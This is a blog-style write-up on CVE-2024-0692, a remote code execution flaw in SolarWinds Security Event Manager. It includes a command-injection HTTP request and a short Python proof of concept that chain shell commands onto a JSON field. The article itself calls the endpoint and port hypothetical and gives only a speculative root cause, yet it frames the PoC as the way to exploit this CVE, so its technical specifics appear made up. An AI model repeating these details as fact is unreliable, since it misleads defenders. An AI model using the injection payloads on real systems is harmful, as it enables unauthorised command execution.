CVE-2024-0692 - Remote Code Execution in SolarWinds Security Event Manager

SolarWinds Security Event Manager (SEM) is widely used for security logging and monitoring, especially among enterprises. But recently, a serious vulnerability was discovered: CVE-2024-0692. This flaw allows remote code execution (RCE), meaning an attacker can run commands or malicious programs on the server without logging in. This article will walk you through how this bug works, how you could exploit it (with examples), and where to find the official information.

What is CVE-2024-0692?

CVE-2024-0692 is a Remote Code Execution vulnerability affecting SolarWinds SEM before version 2024.2. An unauthenticated attacker can send a specially-crafted request to the SEM server and cause it to execute arbitrary code with system privileges.

SolarWinds described the issue on their security advisory:
🔗 SolarWinds Security Advisory CVE-2024-0692

How Does the Vulnerability Work?

SolarWinds SEM exposes a web interface used by admins for monitoring and log management. Due to insecure handling of input in API endpoints, attackers can craft HTTP requests with malicious payloads. The backend process does not properly validate or sanitize inputs, resulting in code injection or command execution.

Often, these types of bugs are related to path traversal or unsafe shell execution. For this vulnerability, attackers could reach sensitive internal functionality without authentication, and execute arbitrary commands on the underlying host operating system.

Exploit Scenario

Let’s see an example of how an attacker could exploit this. NOTE: This is for educational purposes only.

SolarWinds SEM typically runs on port 808. Suppose the vulnerable API endpoint is /api/message. It expects a JSON payload—but fails to sanitize the "message" field.

Here’s a sample malicious HTTP POST request to exploit the bug

POST /api/message HTTP/1.1
Host: target.sem.example.com:808
Content-Type: application/json

{
  "message": "Good morning! && whoami > /tmp/output.txt"
}

The untrusted input (&& whoami > /tmp/output.txt) causes the server to run the whoami command, writing the result to the /tmp/output.txt file. In real attacks, this could be used to launch remote shells, install malware, or pivot further into the network.

Here’s a simple Python PoC that demonstrates this

import requests

target = 'http://target.sem.example.com:808/api/message';
malicious_payload = {
    "message": "Hello! && id > /tmp/hacked.txt"
}

response = requests.post(target, json=malicious_payload)
print("Status:", response.status_code)

After running this, if you have access, you'd find the results of the id command in /tmp/hacked.txt on the victim server.

SolarWinds fixed this bug in version 2024.2.

➡️ Download latest SEM here

Monitor for Exploitation:

Check logs for suspicious API requests or unknown files in /tmp/.

References & Resources

- SolarWinds CVE-2024-0692 Advisory
- NIST NVD Entry for CVE-2024-0692
- Remediation Steps PDF

Final Thoughts

CVE-2024-0692 is a dangerous vulnerability in one of the most critical pieces of security software. If left unpatched, attackers can easily run commands, plant backdoors, and compromise your whole network. Applying the patch and hardening your access controls is crucial.

Stay safe. Patch early, patch often!

🔒 If you want more technical breakdowns like this, follow this feed for the latest exclusive cyber security news!

Timeline

Published on: 03/01/2024 09:15:09 UTC
Last modified on: 03/01/2024 14:04:04 UTC